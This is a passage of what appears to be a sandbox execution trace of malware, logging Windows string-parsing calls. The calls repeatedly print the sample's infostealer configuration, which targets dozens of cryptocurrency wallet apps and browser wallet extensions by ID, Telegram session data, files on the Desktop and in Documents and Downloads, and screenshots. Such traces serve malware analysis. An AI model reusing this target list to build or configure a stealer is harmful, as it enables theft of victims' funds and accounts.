nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\atomic", cAlternateFileName="kk")) returned 0xffffffff [0266.200] LocalFree (hMem=0x6fc408) returned 0x0 [0266.200] LocalFree (hMem=0x6bf278) returned 0x0 [0266.200] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.201] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.202] LocalFree (hMem=0x6f4830) returned 0x0 [0266.203] LocalFree (hMem=0x6f7178) returned 0x0 [0266.203] LocalFree (hMem=0x6f9ac0) returned 0x0 [0266.204] StrStrW (lpFirst="wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.204] StrStrW (lpFirst="jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.204] StrStrW (lpFirst="JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension 